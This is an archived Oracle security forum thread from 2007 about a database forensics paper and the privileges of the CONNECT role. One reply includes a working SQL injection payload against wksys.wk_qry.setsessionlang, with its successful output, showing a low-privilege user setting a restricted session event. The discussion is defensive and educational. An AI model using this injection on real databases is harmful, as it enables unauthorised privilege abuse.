Pete Finnigan's Oracle Security Forum


    
      
        Pete Finnigan's Oracle Security Forum
        (http://www.petefinnigan.com/forum/yabb/YaBB.cgi)
      

        Oracle Security >> Oracle Security >> Oracle Forensics and DBstatechecking
        
(Message started by: Pete Finnigan on Mar 5^th, 2007, 12:28pm)

Title: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 5^th, 2007, 12:28pm

Hi folks,
I hope this paper can be of use to you.
http://www.giac.org/certified_professionals/practicals/gsoc/0001.php
The code is available from
http://www.oracleforensics.com/dbstatechecker.sql
Paul

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 6^th, 2007, 11:46pm

I've read the paper with great interest.
One nitpick though. The paper states uses the user SCOTT as an example of a user with (virtually) no privileges. However it has the CONNECT and RESOURCE role.

Furtheron it shows an example of a PL/SQL block that runs an ALTER SESSION statement. It is told that SCOTT could not run this statement, because SCOTT does not have this system privilege. But as far as I know the CONNECT role contains that privilege (at least in 9i this is true).

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 7^th, 2007, 1:05am

Hello Marcel,
Thanks for taking the time to read the paper and asking this question. Here is the answer:

SQL> show user
USER is "SCOTT"
SQL> select * from v$version;
BANNER
----------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Prod
PL/SQL Release 10.1.0.2.0 - Production
CORE 10.1.0.2.0 Production
TNS for 32-bit Windows: Version 10.1.0.2.0 - Production
NLSRTL Version 10.1.0.2.0 - Production

SQL> select * from user_role_privs;
no rows selected

SQL> alter session set events 'immediate trace name library_cache level 10';
ERROR:
ORA-01031: insufficient privileges

SQL> exec wksys.wk_qry.setsessionlang('AMERICAN'' events ''immediate trace name
library_cache level 10''--');
PL/SQL procedure successfully completed.

Your question assumes that SCOTT has the same privileges on Page 11 as Page 4. Bear in mind that SCOTT has been elevated to DBA on Page 5 so the privilege assignment of SCOTT should not be taken out of context. SCOTT with CREATE SESSION cannot set this event but can do by injecting in wksys.wk_qry.setsessionlang as it is vulnerable to SQL injection. This is one example that I could show and there are many more as we know.
The main point of this paper is using DBState checking and comparison to find out the effects of CPU installation and check for malware/unauthorised modification so that the DB can be secured.
When you have had more time to progress through the paper then it would be interesting to hear feedback about these concepts and perhaps how they could be extended.

Cheers,
Paul

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 7^th, 2007, 9:22am

In that case it's a good example. Maybe I should do less speed-reading. :)

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 8^th, 2007, 8:54am

Hi Paul and Marcel-Jan,

Not in direct conflict with your discussion but I wanted to point out that since 10gR2 the connect role is no longer dangerous as it now only has CREATE SESSION granted to it.

cheers

Pete

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 8^th, 2007, 11:16pm

I don't have anything to check, but I THINK the improvement to the CONNECT role privileges apply to fresh databases but not upgraded/migrated ones (eg if you upgrade an existing 9i database to 10gR2, it won't revoke the 'surplus' grant from CONNECT).

Of course, if the DBA has their security together, they'd have either already removed it (if not needed) or don't want to remove it (if they do need it).

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 9^th, 2007, 9:01am

Thanks for the update gary, I was aware of this fact but didnt think to mention it.

cheers

Pete

Title: Re: Oracle Forensics and DBstatechecking
Post by Pete Finnigan on Mar 12^th, 2007, 11:21pm

Hi

All the privileges except of the CREATE SESSION are removed from the CONNECT role during the upgrade. See the sql-script "c1001000.sql" from the rdbms/admin directory (tested with Oracle 10.2.0.3)

...
Rem c1001000.sql - upgrade Oracle RDBMS from 10.1.0 to the new release
Rem DESCRIPTION
Rem Put any dictionary related changes here (ie-create, alter,
Rem update,...). If you must upgrade using PL/SQL packages,
Rem put the PL/SQL block in a1001000.sql since catalog.sql and
Rem catproc.sql will be run before a1001000.sql is invoked.
...

Rem=========================================================================
Rem Removal old privileges from CONNECT role
Rem=========================================================================
BEGIN
EXECUTE IMMEDIATE 'REVOKE ALTER SESSION FROM CONNECT';
EXCEPTION
WHEN OTHERS THEN
IF SQLCODE = -1952 THEN NULL;
ELSE RAISE;
END IF;
END;
/
BEGIN
EXECUTE IMMEDIATE 'REVOKE CREATE SYNONYM FROM CONNECT';
EXCEPTION
WHEN OTHERS THEN
IF SQLCODE = -1952 THEN NULL;
ELSE RAISE;
END IF;
END;
/
...

To restore the "old" configuration you can call the script
"rstrconn.sql" from $OH/rdbms/admin.

Cheers

Alexander

--